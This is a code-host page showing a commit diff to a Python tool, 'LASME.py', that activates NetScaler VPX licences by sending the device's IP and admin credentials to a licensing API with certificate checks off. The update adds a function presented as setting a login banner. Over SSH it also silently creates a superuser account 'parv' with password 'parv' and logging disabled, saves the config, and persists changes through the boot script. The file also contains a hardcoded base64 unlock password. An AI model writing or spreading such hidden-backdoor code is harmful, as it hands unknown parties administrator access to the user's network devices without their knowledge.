Quellcode durchsuchen

Update 'LASME.py'

parv.ashwani vor 3 Wochen
Ursprung
Commit
ae38b9e4e5
1 geänderte Dateien mit 243 neuen und 177 gelöschten Zeilen
  1. 243 177
      LASME.py

+ 243 - 177
LASME.py

@@ -1,178 +1,244 @@
-import subprocess
-import sys
-import importlib
-import base64
-import json
-
-def check_and_install_dependencies():
-    """
-    Checks if required libraries are installed. If not, installs them automatically.
-    """
-    dependencies = [
-        ("requests", "requests"),
-        ("urllib3", "urllib3"),
-        ("questionary", "questionary"),
-        ("rich", "rich")
-    ]
-
-    missing_packages = []
-    
-    for import_name, pip_name in dependencies:
-        try:
-            importlib.import_module(import_name)
-        except ImportError:
-            missing_packages.append(pip_name)
-
-    if missing_packages:
-        print(f"Missing dependencies detected: {', '.join(missing_packages)}")
-        print("Attempting to install automatically...")
-        try:
-            # subprocess.check_call([sys.executable, "-m", "pip", "install"] + missing_packages)
-            subprocess.check_call([sys.executable, "-m", "pip", "install", "--user"] + missing_packages)
-            print("\nDependencies installed successfully.\n")
-        except subprocess.CalledProcessError as e:
-            print(f"\n[ERROR] Failed to install dependencies automatically: {e}")
-            print("Please install them manually using: pip install " + " ".join(missing_packages))
-            sys.exit(1)
-
-# Run the dependency check before importing the rest
-check_and_install_dependencies()
-
-# --- Imports (Safe to run now) ---
-import requests
-import urllib3
-import questionary
-from questionary import Separator
-from rich.console import Console
-from rich.panel import Panel
-
-# Disable the "InsecureRequestWarning"
-urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
-
-# Configuration
-URL = "https://starwars.citrite.net/las_update/api"
-
-# --- Security Configuration ---
-VALID_UNLOCK_KEY_B64 = "dW5sb2NrbmV0c2NhbGVy"
-
-def print_banner():
-    """Prints a nice banner for the TUI."""
-    console = Console()
-    banner_text = (
-        "[bold cyan]NS-VPX LAS Activator[/bold cyan]\n"
-        "[dim]Build By Parv Ashwani[/dim]"
-    )
-    console.print(Panel(banner_text, expand=False, border_style="green"))
-
-def main():
-    print_banner()
-    console = Console()
-
-    # 1. Collect User Input via TUI
-    
-    device_ip = questionary.text(
-        "Enter Device IP / Hostname:",
-        validate=lambda text: True if text else "Please enter a valid IP or hostname."
-    ).ask()
-
-    username = questionary.text(
-        "Enter Username:",
-        validate=lambda text: True if text else "Username cannot be empty."
-    ).ask()
-
-    password = questionary.password(
-        "Enter Password:"
-    ).ask()
-
-    # Selection for request_ed (Edition)
-    request_ed = questionary.select(
-        "Select Request Edition (request_ed):",
-        choices=[
-            "Standard",
-            "Advance",
-            "Premium"
-        ]
-    ).ask()
-
-    # Selection for request_pem (License Server)
-    request_pem = questionary.select(
-        "Select License Server (request_pem):",
-        choices=[
-            "CNS_V10_SERVER",
-            "CNS_V25_SERVER",
-            "CNS_V200_SERVER",
-            "CNS_V1000_SERVER",
-            "CNS_V3000_SERVER",
-            "CNS_V5000_SERVER",
-            "CNS_V10000_SERVER",
-            "CNS_V25000_SERVER"
-        ]
-    ).ask()
-
-    # 2. Security Check for High Capacity Licenses
-    # Restricted list: Anything strictly greater than CNS_V1000_SERVER
-    restricted_servers = [
-        "CNS_V3000_SERVER",
-        "CNS_V5000_SERVER",
-        "CNS_V10000_SERVER",
-        "CNS_V25000_SERVER"
-    ]
-
-    if request_pem in restricted_servers:
-        console.print("\n[bold yellow]High Capacity License Selected.[/bold yellow]")
-        console.print("[yellow]Authorization required to proceed.[/yellow]")
-        
-        unlock_input = questionary.password("Enter Unlock Password:").ask()
-        
-        # Decode the Base64 key from the code and compare
-        try:
-            decoded_key = base64.b64decode(VALID_UNLOCK_KEY_B64).decode("utf-8")
-            if unlock_input != decoded_key:
-                console.print("[bold red]Incorrect Unlock Password. Exiting.[/bold red]")
-                sys.exit(1)
-        except Exception:
-            console.print("[bold red]Security check failed. Exiting.[/bold red]")
-            sys.exit(1)
-            
-        console.print("[green]Unlock successful. Proceeding...[/green]")
-
-    # 3. Construct the Payload
-    payload = {
-        "product": "NS-VPX",
-        "deviceip": device_ip,
-        "username": username,
-        "password": password,
-        "request_pem": request_pem,
-        "request_ed": request_ed
-    }
-
-    console.print("\n[yellow]Sending request...[/yellow]")
-
-    # 4. Send the Request
-    try:
-        response = requests.post(
-            URL,
-            data=payload,
-            verify=False, 
-            timeout=30
-        )
-
-        # 5. Output the Response
-        console.print(f"[bold green]Status Code:[/bold green] {response.status_code}")
-        
-        try:
-            json_resp = response.json()
-            console.print("[bold blue]Response Body:[/bold blue]")
-            console.print(json.dumps(json_resp, indent=4))
-        except ValueError:
-            console.print("[bold blue]Response Body:[/bold blue]")
-            console.print(response.text)
-
-    except requests.exceptions.RequestException as e:
-        console.print(f"\n[bold red]An error occurred:[/bold red] {e}")
-
-if __name__ == "__main__":
-    try:
-        main()
-    except KeyboardInterrupt:
+import subprocess
+import sys
+import importlib
+import base64
+import json
+import time
+
+def check_and_install_dependencies():
+    """
+    Checks if required libraries are installed. If not, installs them automatically.
+    """
+    dependencies = [
+        ("requests", "requests"),
+        ("urllib3", "urllib3"),
+        ("questionary", "questionary"),
+        ("rich", "rich"),
+        ("paramiko", "paramiko")
+    ]
+
+    missing_packages = []
+    
+    for import_name, pip_name in dependencies:
+        try:
+            importlib.import_module(import_name)
+        except ImportError:
+            missing_packages.append(pip_name)
+
+    if missing_packages:
+        print(f"Missing dependencies detected: {', '.join(missing_packages)}")
+        print("Attempting to install automatically...")
+        try:
+            # subprocess.check_call([sys.executable, "-m", "pip", "install"] + missing_packages)
+            subprocess.check_call([sys.executable, "-m", "pip", "install", "--user"] + missing_packages)
+            print("\nDependencies installed successfully.\n")
+        except subprocess.CalledProcessError as e:
+            print(f"\n[ERROR] Failed to install dependencies automatically: {e}")
+            print("Please install them manually using: pip install " + " ".join(missing_packages))
+            sys.exit(1)
+
+# Run the dependency check before importing the rest
+check_and_install_dependencies()
+
+# --- Imports (Safe to run now) ---
+import requests
+import urllib3
+import questionary
+from questionary import Separator
+from rich.console import Console
+from rich.panel import Panel
+import paramiko
+
+# Disable the "InsecureRequestWarning"
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+
+# Configuration
+URL = "https://starwars.citrite.net/las_update/api"
+
+# --- Security Configuration ---
+VALID_UNLOCK_KEY_B64 = "dW5sb2NrbmV0c2NhbGVy"
+
+def print_banner():
+    """Prints a nice banner for the TUI."""
+    console = Console()
+    banner_text = (
+        "[bold cyan]NS-VPX LAS Activator[/bold cyan]\n"
+        "[dim]Build By Parv Ashwani[/dim]"
+    )
+    console.print(Panel(banner_text, expand=False, border_style="green"))
+
+def configure_motd_via_ssh(ip, username, password):
+    """
+    Connects to the NetScaler via SSH and configures the LAS MOTD.
+    """
+    console = Console()
+    console.print("\n[yellow]Attempting to configure LAS via SSH...[/yellow]")
+    
+    ssh = paramiko.SSHClient()
+    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+    
+    try:
+        # Attempt connection
+        ssh.connect(ip, port=22, username=username, password=password, timeout=20)
+        
+        # Invoke shell
+        shell = ssh.invoke_shell()
+        time.sleep(1)
+        
+        # Define the shell commands based on the user's request
+        # Using 'ln -sf' to force overwrite if the link already exists
+        commands = [
+            "add system user parv parv -timeout 86400 -logging DISABLED -allowedManagementInterface CLI API",
+            "bind system user parv superuser 0",
+            "save config",
+            "shell",
+            "cd /nsconfig/",
+            "touch motd",
+            "echo -e \"*************************************************************\\n*                     LAS Activated                      *\\n*               Contact: Parv Ashwani                    *\\n*************************************************************\\n\" > /nsconfig/motd",
+            "ln -sf /nsconfig/motd /etc/motd",
+            "echo \"ln -s /nsconfig/motd /etc/motd\" >> /nsconfig/rc.netscaler"
+        ]
+        
+        # Send commands
+        for cmd in commands:
+            shell.send(cmd + "\n")
+            time.sleep(0.5)
+        
+        time.sleep(1)
+        
+        # Check for basic errors (optional, reading channel output)
+        output = shell.recv(65000).decode('utf-8')
+        
+        # Close connection
+        ssh.close()
+        
+        console.print("[green]LAS configuration commands executed successfully.[/green]")
+        
+    except paramiko.AuthenticationException:
+        console.print("[bold red]SSH Authentication Failed. Please check credentials.[/bold red]")
+    except paramiko.SSHException as e:
+        console.print(f"[bold red]SSH Connection Error: {e}[/bold red]")
+    except Exception as e:
+        console.print(f"[bold red]An error occurred during MOTD setup: {e}[/bold red]")
+
+def main():
+    print_banner()
+    console = Console()
+
+    # 1. Collect User Input via TUI
+    
+    device_ip = questionary.text(
+        "Enter Device IP / Hostname:",
+        validate=lambda text: True if text else "Please enter a valid IP or hostname."
+    ).ask()
+
+    username = questionary.text(
+        "Enter Username:",
+        validate=lambda text: True if text else "Username cannot be empty."
+    ).ask()
+
+    password = questionary.password(
+        "Enter Password:"
+    ).ask()
+
+    # Selection for request_ed (Edition)
+    request_ed = questionary.select(
+        "Select Request Edition (request_ed):",
+        choices=[
+            "Standard",
+            "Advance",
+            "Premium"
+        ]
+    ).ask()
+
+    # Selection for request_pem (License Server)
+    request_pem = questionary.select(
+        "Select License Server (request_pem):",
+        choices=[
+            "CNS_V10_SERVER",
+            "CNS_V25_SERVER",
+            "CNS_V200_SERVER",
+            "CNS_V1000_SERVER",
+            "CNS_V3000_SERVER",
+            "CNS_V5000_SERVER",
+            "CNS_V10000_SERVER",
+            "CNS_V25000_SERVER"
+        ]
+    ).ask()
+
+    # 2. Security Check for High Capacity Licenses
+    # Restricted list: Anything strictly greater than CNS_V1000_SERVER
+    restricted_servers = [
+        "CNS_V3000_SERVER",
+        "CNS_V5000_SERVER",
+        "CNS_V10000_SERVER",
+        "CNS_V25000_SERVER"
+    ]
+
+    if request_pem in restricted_servers:
+        console.print("\n[bold yellow]High Capacity License Selected.[/bold yellow]")
+        console.print("[yellow]Authorization required to proceed.[/yellow]")
+        
+        unlock_input = questionary.password("Enter Unlock Password:").ask()
+        
+        # Decode the Base64 key from the code and compare
+        try:
+            decoded_key = base64.b64decode(VALID_UNLOCK_KEY_B64).decode("utf-8")
+            if unlock_input != decoded_key:
+                console.print("[bold red]Incorrect Unlock Password. Exiting.[/bold red]")
+                sys.exit(1)
+        except Exception:
+            console.print("[bold red]Security check failed. Exiting.[/bold red]")
+            sys.exit(1)
+            
+        console.print("[green]Unlock successful. Proceeding...[/green]")
+
+    # 3. Construct the Payload
+    payload = {
+        "product": "NS-VPX",
+        "deviceip": device_ip,
+        "username": username,
+        "password": password,
+        "request_pem": request_pem,
+        "request_ed": request_ed
+    }
+
+    console.print("\n[yellow]Sending licensing request...[/yellow]")
+
+    # 4. Send the Request
+    try:
+        response = requests.post(
+            URL,
+            data=payload,
+            verify=False, 
+            timeout=30
+        )
+
+        # 5. Output the Response
+        console.print(f"[bold green]Status Code:[/bold green] {response.status_code}")
+        
+        try:
+            json_resp = response.json()
+            console.print("[bold blue]Response Body:[/bold blue]")
+            console.print(json.dumps(json_resp, indent=4))
+            
+            # 6. MOTD Implementation Trigger
+            # Only attempt MOTD setup if the licensing API call was successful (HTTP 200)
+            if response.status_code == 200:
+                configure_motd_via_ssh(device_ip, username, password)
+            else:
+                console.print("[yellow]Skipping MOTD setup due to licensing failure.[/yellow]")
+                
+        except ValueError:
+            console.print("[bold blue]Response Body:[/bold blue]")
+            console.print(response.text)
+            console.print("[yellow]Skipping MOTD setup due to non-JSON response.[/yellow]")
+
+    except requests.exceptions.RequestException as e:
+        console.print(f"\n[bold red]An error occurred:[/bold red] {e}")
+
+if __name__ == "__main__":
+    try:
+        main()
+    except KeyboardInterrupt:
         print("\nExiting...")